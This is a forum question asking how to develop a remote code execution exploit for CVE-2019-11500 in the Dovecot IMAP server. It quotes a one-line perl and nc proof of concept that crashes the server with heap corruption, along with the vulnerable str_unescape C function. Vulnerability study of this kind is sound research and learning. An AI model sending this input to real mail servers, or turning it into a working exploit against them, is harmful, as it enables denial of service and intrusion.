0

I'm looking for a way to exploit CVE-2019-11500. Here's how it's described: In Dovecot before 2.2.36.4 and 2.3.x before 2.3.7.2 (and Pigeonhole before 0.5.7.2), protocol processing can fail for strings in quotes. This happens because the '\0' characters are mishandled, and can lead to out-of-bounds writes and remote code execution.

I managed to find a PoC:

perl -e 'print "a id ("foo" "".("x "x1021).""A" "bar" "\000".("x "x1020).""A")\n"' | nc localhost 143 

(where dovecot runs on localhost, and port 143 is linked to the IMAP server).

The bug lies in the unescaping of a string with NULs: str_unescape() may have been called for memory that points outside the allocated string, causing heap corruption. This can lead to crashes or, theoretically, to a remote code execution exploit. I'd like to write an exploit to train myself and be able to execute code, but I'm having trouble understanding how the vulnerability works and how to exploit it. Here's the code of the function that causes the overflow:

char *str_unescape(char *str)
{
    /* @UNSAFE */
    char *dest, *start = str;

    while (*str != '\\') {
        if (*str == '\0')
            return start;
        str++;
    }

    for (dest = str; *str != '\0'; str++) {
        if (*str == '\\') {
            str++;
            if (*str == '\0')
                break;
        }

        *dest++ = *str;
    }

    *dest = '\0';
    return start;
}

Additionally, after a little investigation with Valgrind, I noticed that the overflow occurred at this line: while (*str != '\\') {

0

You must log in to answer this question.